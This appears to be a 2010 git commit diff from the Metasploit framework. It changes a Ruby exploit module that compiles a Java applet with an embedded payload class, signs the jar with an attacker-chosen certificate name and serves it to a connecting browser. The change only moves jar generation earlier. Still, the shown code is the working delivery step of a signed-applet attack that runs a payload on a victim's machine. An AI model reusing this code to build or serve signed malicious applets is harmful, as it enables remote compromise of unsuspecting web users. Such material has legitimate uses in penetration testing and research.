Move applet generation up for slight speed improvement and less spamminess to the user.

git-svn-id: file:///home/svn/framework3/trunk@8281 4d416f70-5f16-0410-b530-b9f4589650da
unstable
natron 2010-01-27 23:15:36 +00:00
parent 7c4d7c3d71
commit 9891d60dfc
1 changed files with 27 additions and 25 deletions

View File

@ -372,36 +372,38 @@ public class #{datastore['APPLETNAME']} extends Applet
end
end
appletcode = get_code(cli)
print_status "Compiling applet classes..."
compile( appletcode['classnames'], appletcode['codefiles'] )
print_status "Compile completed. Building jar file..."
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
@signedjar = "#{datastore['APPLETNAME']}.jar"
build_jar( unsignedjar,
[ # Applet
datastore['APPLETNAME'] + ".class",
# PayloadX class
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
# PayloadX StreamConnector for pure Java payload
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
print_status "Jar built. Signing..."
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
print_status "Jar signed. Ready to send."
# TODO: gzip data and parse in java
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
return
end
appletcode = get_code(cli)
print_status "Compiling applet classes..."
compile( appletcode['classnames'], appletcode['codefiles'] )
print_status "Compile completed. Building jar file..."
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
signedjar = "#{datastore['APPLETNAME']}.jar"
build_jar( unsignedjar,
[ # Applet
datastore['APPLETNAME'] + ".class",
# PayloadX class
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
# PayloadX StreamConnector for pure Java payload
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
print_status "Jar built. Signing..."
sign_jar( datastore['CERTCN'], unsignedjar, signedjar )
# load the jar file
if File.exists? File.join( datastore['JAVACACHE'], signedjar )
path = File.join( datastore['JAVACACHE'], signedjar )
if File.exists? File.join( datastore['JAVACACHE'], @signedjar )
path = File.join( datastore['JAVACACHE'], @signedjar )
fd = File.open( path, "rb" )
@jar_data = fd.read(fd.stat.size)
fd.close